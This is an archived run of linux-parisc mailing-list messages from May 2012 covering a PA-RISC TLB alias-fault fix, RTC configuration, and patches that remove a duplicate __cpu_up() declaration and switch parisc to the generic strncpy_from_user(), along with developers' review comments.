Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4460>

I haven't seen the RTC problem.  I have the following RTC options in =20
my rp3440 config:

CONFIG_HP_SDC_RTC=3Dm

CONFIG_RTC_LIB=3Dy
CONFIG_RTC_CLASS=3Dy
CONFIG_RTC_HCTOSYS=3Dy
CONFIG_RTC_HCTOSYS_DEVICE=3D"rtc0"

CONFIG_RTC_INTF_SYSFS=3Dy
CONFIG_RTC_INTF_PROC=3Dy
CONFIG_RTC_INTF_DEV=3Dy

CONFIG_RTC_DRV_GENERIC=3Dy

Dave

On 23-May-12, at 4:47 AM, Peter Gantner (nephros) wrote:

> Hodie XIII Kal. Iun. MMXII AUC quidam/qu=E6dam/quoddam 'Helge Deller'=
 =20
> inquit:
>
>> On 05/20/2012 10:15 PM, James Bottomley wrote:
>>> On Sun, 2012-05-20 at 21:11 +0200, Helge Deller wrote:
>>>> On 05/20/2012 12:01 PM, James Bottomley wrote:
>>>>> On Fri, 2012-05-18 at 23:09 +0200, Helge Deller wrote:
>>>>>> James, here is the full kernel log. Does this help?
>>>>> Yes and no: it shows clearly we got all the way through the =20
>>>>> initrd, so
>>>>> we've gone through the alias region thousands of times doing =20
>>>>> flushes.
>>>>>> Kernel Fault: Code=3D26 regs=3D8fc30940 (Addr=3D0f2ff000)
>>>>> It's an access rights trap, presumably on the alias tlb, since th=
e
>>>>> address is definitely in the alias region.  The obvious =20
>>>>> candidate is the
>>>>> protection id deposit in do_alias
>>>>>
>>>>> 	depw,z		\prot,8,7,\prot
>>>>> but that all checks out fine (you can compare it with
>>>>> make_insert_tlb_11). So the page should have read, write and =20
>>>>> dirty set.
>>>>> The interesting thing is that the only way to get an access =20
>>>>> rights trap
>>>>> in the kernel is if the protection type is zero and I just can't =
=20
>>>>> see how
>>>>> do_alias would zero out \prot in a way that functions on your =20
>>>>> C3000
>>>>> (PA2.0) but not on the PA1.1 systems.
>>>>> Are you sure this is booting the same kernel?
>>>> Yes, since I use tftboot to deliver same vmlinux kernel to all my =
=20
>>>> machines
>>>> for bootup.
>>> The penny finally dropped on Dave's last comment.  The _20 path =20
>>> needs to
>>> use wide instructions even though it's executing narrow code =20
>>> because we
>>> have to use the PA2.0 tlb insertion instruction, so it's not
>>> CONFIG_64BIT that's the differentiator, but which interruption path
>>> we're on.
>>> Does this fix it?
>> Yes, this fixed the crash. No segfaults at all on all my =20
>> machines  :-)
>
> Just checking in to report that I did the same patch dance on my =20
> C180 (after
> spending about a week on getting its ancient Gentoo installation up =20
> to date.
> Many many thanks to whoever provides the binaries on =20
> tinderbox.dev.gentoo.org):
>
> # uname -a
> Linux hydralisk 3.4.0-rc7-hyT #11 Wed May 23 10:00:17 CEST 2012 =20
> parisc PA8000 (PCX-U) 9000/780/C180 GNU/Linux
>
> and these patches work here as well (also I get the same oopses =20
> without them).
>
> You can see all relevant files here:
> https://public.nephros.org/~nephros/stuff/hppa/linux-2.6-d6c77973/
>
> In addition after a suggestion by Mikulas I applied the NO_IRQ patch =
=20
> from here:
> http://www.spinics.net/lists/linux-parisc/msg03894.html
> and it did not seem to have adverse effect.
>
> Let me know if I can test anything else.
>
> On a side note, I get a warning while booting about RTC being =20
> registered, in the dmesg here:
> https://public.nephros.org/~nephros/stuff/hppa/linux-2.6-d6c77973/=20
> try4/
> as well as some warnings during compile (don't have a log of them =20
> right now, sorry)
>
> Is that something peculiar to my config, or is there something amiss =
=20
> in the current source?
>
> ------------[ cut here ]------------
> WARNING: at fs/proc/generic.c:586
> Modules linked in:
>
>     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000000000001111 Not tainted
> r00-03  0004000f 104c4800 101e100c 6ecc6940
> r04-07  6fc05240 6ecc6b40 6ecc698d 6ecb52b8
> r08-11  00000000 104fe000 104fe000 00000048
> r12-15  10578b18 1055c45c 000000fd f0100000
> r16-19  f000168c f000020c f0000204 104c4d38
> r20-23  00000000 0000000a 102b6efc 102b7ab0
> r24-27  ffffffff 00002358 104c4f88 104aa000
> r28-31  00000035 000000b4 6fc2c5c0 102b8d28
> sr00-03  00000000 00000000 00000000 00000000
> sr04-07  00000000 00000000 00000000 00000000
>
> IASQ: 00000000 00000000 IAOQ: 101e100c 101e1010
> IIR: 03ffe01f    ISR: 00000000  IOR: 00000000
> CPU:        0   CR30: 6fc2c000 CR31: ffffffff
> ORIG_R28: 10418800
> IAOQ[0]: proc_register+0x13c/0x190
> IAOQ[1]: proc_register+0x140/0x190
> RP(r2): proc_register+0x13c/0x190
> Backtrace:
> [<101e10ec>] proc_create_data+0x8c/0xb4
> [<102ff488>] rtc_proc_add_device+0x30/0x3c
> [<102fd0d8>] rtc_device_register+0x1d8/0x264
> [<10555b78>] generic_rtc_probe+0x28/0x4c
> [<102c4adc>] platform_drv_probe+0x1c/0x28
> [<102c392c>] driver_probe_device+0xac/0x1c0
> [<102c3aa8>] __driver_attach+0x68/0x9c
> [<102c20f8>] bus_for_each_dev+0x60/0xa0
> [<102c2fac>] bus_add_driver+0xac/0x230
> [<102c3e80>] driver_register+0xa4/0x13c
> [<102c4e40>] platform_driver_probe+0x20/0x6c
> [<10112850>] do_one_initcall+0x180/0x24c
> [<10540ae4>] kernel_init+0x134/0x1fc
> [<1010305c>] ret_from_kernel_thread+0x1c/0x24
>
> ---[ end trace a48b844e905b2419 ]---
>
> Best Wishes,
>  Peter G.

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <jbottomley@parallels.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Fix parisc compile failure after smp: Add task_struct argument to
 __cpu_up()
Date: Fri, 25 May 2012 10:59:26 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <1337943565.2932.24.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: dough.gmane.org 1337943574 8257 80.91.229.3 (25 May 2012 10:59:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 25 May 2012 10:59:34 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>,
	Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 25 12:59:33 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SXsEy-0004DA-Lk
	for glpp-linux-parisc@plane.gmane.org; Fri, 25 May 2012 12:59:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757092Ab2EYK72 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 May 2012 06:59:28 -0400
Original-Received: from mx2.parallels.com ([64.131.90.16]:38105 "EHLO mx2.parallels.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752362Ab2EYK71 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 May 2012 06:59:27 -0400
Original-Received: from [199.115.105.252] (helo=mail.parallels.com)
	by mx2.parallels.com with esmtps (TLSv1:AES128-SHA:128)
	(Exim 4.77)
	(envelope-from <jbottomley@parallels.com>)
	id 1SXsEx-0005cV-2M; Fri, 25 May 2012 06:59:27 -0400
Original-Received: from US-EXCH1.sw.swsoft.com ([fe80::2036:e1e5:b63e:bd9b]) by
 US-EXCH1.sw.swsoft.com ([fe80::2036:e1e5:b63e:bd9b%10]) with mapi id
 14.02.0247.003; Fri, 25 May 2012 03:59:26 -0700
Thread-Topic: Fix parisc compile failure after smp: Add task_struct argument
 to __cpu_up()
Thread-Index: AQHNOmVz1NEt2IIRFUyMJvhECii1xQ==
Accept-Language: en-GB, en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [87.194.65.0]
Content-ID: <CF33385C52A96643B4AFF8715C9F1502@sw.swsoft.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4461
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4461>

Y29tbWl0IDgyMzljMjVmNDdkMmIzMTgxNTY5OTNiMTVmMzM5MDBhODZlYTVlMTcgYWRkZWQgYW4g
YXJndW1lbnQgdG8gb3VyDQpfX2NwdV91cCgpIGZ1bmN0aW9uLCBidXQgZGlkbid0IG5vdGljZSB3
ZSBoYXZlIGFuIGV4dHJhIGRlZmluaXRpb24gZm9yDQp0aGlzIGluIGFzbS9zbXAuaCByZXN1bHRp
bmcgaW4gYSBjb21waWxlIGZhaWx1cmUuDQoNCkZpeCBieSByZW1vdmluZyB0aGUgZXh0cmFuZW91
cyBwYXJpc2MgZGVmaW5pdGlvbiBvZiBfX2NwdV91cCgpLiAgV2hpbGUNCndlJ3JlIGF0IGl0LCBy
ZW1vdmUgdGhlIGR1cGxpY2F0ZWQgZGVmaW5pdGlvbiBvZiBzbXBfc2VuZF9yZXNjaGVkdWxlKCku
DQoNCkphbWVzDQoNCi0tLQ0KDQpkaWZmIC0tZ2l0IGEvYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20v
c21wLmggYi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9zbXAuaA0KaW5kZXggZThmODAzNy4uYTVk
YzkwNiAxMDA2NDQNCi0tLSBhL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL3NtcC5oDQorKysgYi9h
cmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9zbXAuaA0KQEAgLTI1LDcgKzI1LDYgQEAgdHlwZWRlZiB1
bnNpZ25lZCBsb25nIGFkZHJlc3NfdDsNCiAjZGVmaW5lIGNwdV9udW1iZXJfbWFwKGNwdSkJKGNw
dSkNCiAjZGVmaW5lIGNwdV9sb2dpY2FsX21hcChjcHUpCShjcHUpDQogDQotZXh0ZXJuIHZvaWQg
c21wX3NlbmRfcmVzY2hlZHVsZShpbnQgY3B1KTsNCiBleHRlcm4gdm9pZCBzbXBfc2VuZF9hbGxf
bm9wKHZvaWQpOw0KIA0KIGV4dGVybiB2b2lkIGFyY2hfc2VuZF9jYWxsX2Z1bmN0aW9uX3Npbmds
ZV9pcGkoaW50IGNwdSk7DQpAQCAtNTAsNiArNDksNSBAQCBzdGF0aWMgaW5saW5lIHZvaWQgX19j
cHVfZGllICh1bnNpZ25lZCBpbnQgY3B1KSB7DQogICB3aGlsZSgxKQ0KICAgICA7DQogfQ0KLWV4
dGVybiBpbnQgX19jcHVfdXAgKHVuc2lnbmVkIGludCBjcHUpOw0KIA0KICNlbmRpZiAvKiAgX19B
U01fU01QX0ggKi8NCg0K
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fix parisc compile failure after smp: Add task_struct argument
 to __cpu_up()
Date: Fri, 25 May 2012 14:21:07 +0200 (CEST)
Lines: 41
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.02.1205251420311.3231@ionos>
References: <1337943565.2932.24.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1337948524 13965 80.91.229.3 (25 May 2012 12:22:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 25 May 2012 12:22:04 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <jbottomley@parallels.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 25 14:22:03 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SXtWl-00076K-UW
	for glpp-linux-parisc@plane.gmane.org; Fri, 25 May 2012 14:21:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757390Ab2EYMVJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 May 2012 08:21:09 -0400
Original-Received: from www.linutronix.de ([62.245.132.108]:38430 "EHLO
	Galois.linutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757335Ab2EYMVJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 May 2012 08:21:09 -0400
Original-Received: from localhost ([127.0.0.1])
	by Galois.linutronix.de with esmtps (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.72)
	(envelope-from <tglx@linutronix.de>)
	id 1SXtVz-000889-Ov; Fri, 25 May 2012 14:21:07 +0200
In-Reply-To: <1337943565.2932.24.camel@dabdike.int.hansenpartnership.com>
User-Agent: Alpine 2.02 (LFD 1266 2009-07-14)
X-Linutronix-Spam-Score: -1.0
X-Linutronix-Spam-Level: -
X-Linutronix-Spam-Status: No , -1.0 points, 5.0 required,  ALL_TRUSTED=-1,SHORTCIRCUIT=-0.0001
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4462
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4462>

On Fri, 25 May 2012, James Bottomley wrote:

> commit 8239c25f47d2b318156993b15f33900a86ea5e17 added an argument to our
> __cpu_up() function, but didn't notice we have an extra definition for
> this in asm/smp.h resulting in a compile failure.
> 
> Fix by removing the extraneous parisc definition of __cpu_up().  While
> we're at it, remove the duplicated definition of smp_send_reschedule().

Ooops. Sorry.

> James
> 
> ---
> 
> diff --git a/arch/parisc/include/asm/smp.h b/arch/parisc/include/asm/smp.h
> index e8f8037..a5dc906 100644
> --- a/arch/parisc/include/asm/smp.h
> +++ b/arch/parisc/include/asm/smp.h
> @@ -25,7 +25,6 @@ typedef unsigned long address_t;
>  #define cpu_number_map(cpu)	(cpu)
>  #define cpu_logical_map(cpu)	(cpu)
>  
> -extern void smp_send_reschedule(int cpu);
>  extern void smp_send_all_nop(void);
>  
>  extern void arch_send_call_function_single_ipi(int cpu);
> @@ -50,6 +49,5 @@ static inline void __cpu_die (unsigned int cpu) {
>    while(1)
>      ;
>  }
> -extern int __cpu_up (unsigned int cpu);
>  
>  #endif /*  __ASM_SMP_H */
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH] update parisc to use generic strncpy_from_user()
Date: Fri, 25 May 2012 14:59:52 +0100
Lines: 117
Approved: news@gmane.org
Message-ID: <1337954392.2932.36.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337954430 1224 80.91.229.3 (25 May 2012 14:00:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 25 May 2012 14:00:30 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>
To: Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 25 16:00:29 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SXv45-0003wU-UW
	for glpp-linux-parisc@plane.gmane.org; Fri, 25 May 2012 16:00:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752348Ab2EYOAU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 May 2012 10:00:20 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56521 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752104Ab2EYN74 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 May 2012 09:59:56 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CE7258EE0F1;
	Fri, 25 May 2012 06:59:55 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id KfWIRRgtdeAe; Fri, 25 May 2012 06:59:55 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C07748EE0E2;
	Fri, 25 May 2012 06:59:54 -0700 (PDT)
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4463 gmane.linux.kernel.cross-arch:14257
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4463>

I'll queue this patch in our git repo.  It seems to work fine for us,
thanks, Dave!

Parisc people, I'm a bit worried about the #include <linux/sched.h> in
asm/uaccess.h ... I'm sure that's going to lead to complications later.
It's needed to get the dynamic TASK_SIZE, which expands through the task
structure to fill in user_addr_max() ... I'm thinking though that the
top of address space doesn't provide much protection on pa (since our
stack grows up towards it anyway, so we could just replace that with
~0UL ... what do people think?

James

---

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index ddb8b24..3ff21b5 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -18,6 +18,7 @@ config PARISC
 	select IRQ_PER_CPU
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select GENERIC_SMP_IDLE_THREAD
+	select GENERIC_STRNCPY_FROM_USER
 
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 9ac0660..d07eb50 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -8,6 +8,7 @@
 #include <asm/cache.h>
 #include <asm/errno.h>
 #include <asm-generic/uaccess-unaligned.h>
+#include <linux/sched.h>
 
 #define VERIFY_READ 0
 #define VERIFY_WRITE 1
@@ -218,15 +219,15 @@ struct exception_data {
 extern unsigned long lcopy_to_user(void __user *, const void *, unsigned long);
 extern unsigned long lcopy_from_user(void *, const void __user *, unsigned long);
 extern unsigned long lcopy_in_user(void __user *, const void __user *, unsigned long);
-extern long lstrncpy_from_user(char *, const char __user *, long);
+extern long strncpy_from_user(char *, const char __user *, long);
 extern unsigned lclear_user(void __user *,unsigned long);
 extern long lstrnlen_user(const char __user *,long);
-
 /*
  * Complex access routines -- macros
  */
+#define user_addr_max() \
+	(segment_eq(get_fs(), KERNEL_DS) ? ~0UL : TASK_SIZE)
 
-#define strncpy_from_user lstrncpy_from_user
 #define strnlen_user lstrnlen_user
 #define strlen_user(str) lstrnlen_user(str, 0x7fffffffL)
 #define clear_user lclear_user
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index a7bb757..ceec85d 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -44,7 +44,6 @@ EXPORT_SYMBOL(__cmpxchg_u64);
 #endif
 
 #include <asm/uaccess.h>
-EXPORT_SYMBOL(lstrncpy_from_user);
 EXPORT_SYMBOL(lclear_user);
 EXPORT_SYMBOL(lstrnlen_user);
 
diff --git a/arch/parisc/lib/lusercopy.S b/arch/parisc/lib/lusercopy.S
index 1bd23cc..6f2d935 100644
--- a/arch/parisc/lib/lusercopy.S
+++ b/arch/parisc/lib/lusercopy.S
@@ -61,47 +61,6 @@
 	.endm
 
 	/*
-	 * long lstrncpy_from_user(char *dst, const char *src, long n)
-	 *
-	 * Returns -EFAULT if exception before terminator,
-	 *         N if the entire buffer filled,
-	 *         otherwise strlen (i.e. excludes zero byte)
-	 */
-
-ENTRY(lstrncpy_from_user)
-	.proc
-	.callinfo NO_CALLS
-	.entry
-	comib,=     0,%r24,$lsfu_done
-	copy        %r24,%r23
-	get_sr
-1:      ldbs,ma     1(%sr1,%r25),%r1
-$lsfu_loop:
-	stbs,ma     %r1,1(%r26)
-	comib,=,n   0,%r1,$lsfu_done
-	addib,<>,n  -1,%r24,$lsfu_loop
-2:      ldbs,ma     1(%sr1,%r25),%r1
-$lsfu_done:
-	sub         %r23,%r24,%r28
-$lsfu_exit:
-	bv          %r0(%r2)
-	nop
-	.exit
-ENDPROC(lstrncpy_from_user)
-
-	.section .fixup,"ax"
-3:      fixup_branch $lsfu_exit
-	ldi         -EFAULT,%r28
-	.previous
-
-	.section __ex_table,"aw"
-	ASM_ULONG_INSN 1b,3b
-	ASM_ULONG_INSN 2b,3b
-	.previous
-
-	.procend

From - Thu Nov 08 21:08:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] update parisc to use generic strncpy_from_user()
Date: Fri, 25 May 2012 16:16:51 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <20120525.161651.2289094861181984680.davem@davemloft.net>
References: <1337954392.2932.36.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337977032 25883 80.91.229.3 (25 May 2012 20:17:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 25 May 2012 20:17:12 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-arch@vger.kernel.org
To: James.Bottomley@HansenPartnership.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 25 22:17:11 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SY0wc-0005iR-Cr
	for glpp-linux-parisc@plane.gmane.org; Fri, 25 May 2012 22:17:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758570Ab2EYUQ7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 May 2012 16:16:59 -0400
Original-Received: from shards.monkeyblade.net ([198.137.202.13]:52482 "EHLO
	shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756085Ab2EYUQ5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 May 2012 16:16:57 -0400
Original-Received: from localhost (cpe-66-108-119-99.nyc.res.rr.com [66.108.119.99])
	(authenticated bits=0)
	by shards.monkeyblade.net (8.14.4/8.14.4) with ESMTP id q4PKGpq0000984
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO);
	Fri, 25 May 2012 13:16:55 -0700
In-Reply-To: <1337954392.2932.36.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Mew version 6.5 on Emacs 24.0.95 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.6 (shards.monkeyblade.net [198.137.202.13]); Fri, 25 May 2012 13:16:55 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4464 gmane.linux.kernel.cross-arch:14265
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4464>

From: James Bottomley <James.Bottomley@HansenPartnership.com>
Date: Fri, 25 May 2012 14:59:52 +0100

> I'll queue this patch in our git repo.  It seems to work fine for us,
> thanks, Dave!
> 
> Parisc people, I'm a bit worried about the #include <linux/sched.h> in
> asm/uaccess.h ... I'm sure that's going to lead to complications later.
> It's needed to get the dynamic TASK_SIZE, which expands through the task
> structure to fill in user_addr_max() ... I'm thinking though that the
> top of address space doesn't provide much protection on pa (since our
> stack grows up towards it anyway, so we could just replace that with
> ~0UL ... what do people think?

Do what I did on Sparc wrt. TASK_SIZE, that way you won't need to
include linux/sched.h

The only reason you need linux/sched.h is to get
test_tsk_thread_flag(), for your TASK_SIZE_OF().

But that's completely pointless for TASK_SIZE which only needs to look
at the current thread's settings.

Thus if you use test_thread_flag() for TASK_SIZE, instead of trying to
borrow TASK_SIZE_OF()'s implementation, you'll no longer have this
linux/sched.h dependency.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] update parisc to use generic strncpy_from_user()
Date: Sat, 26 May 2012 09:23:35 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <1338020615.3087.0.camel@dabdike.int.hansenpartnership.com>
References: <1337954392.2932.36.camel@dabdike.int.hansenpartnership.com>
	 <20120525.161651.2289094861181984680.davem@davemloft.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1338020623 26733 80.91.229.3 (26 May 2012 08:23:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 26 May 2012 08:23:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-arch@vger.kernel.org
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 26 10:23:42 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SYCHk-00082c-Cz
	for glpp-linux-parisc@plane.gmane.org; Sat, 26 May 2012 10:23:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750925Ab2EZIXk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 May 2012 04:23:40 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:58728 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750732Ab2EZIXi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 May 2012 04:23:38 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B313C8EE0E2;
	Sat, 26 May 2012 01:23:37 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 6Cb_qqDijDOR; Sat, 26 May 2012 01:23:37 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id A5D608EE0E0;
	Sat, 26 May 2012 01:23:36 -0700 (PDT)
In-Reply-To: <20120525.161651.2289094861181984680.davem@davemloft.net>
X-Mailer: Evolution 3.2.3 
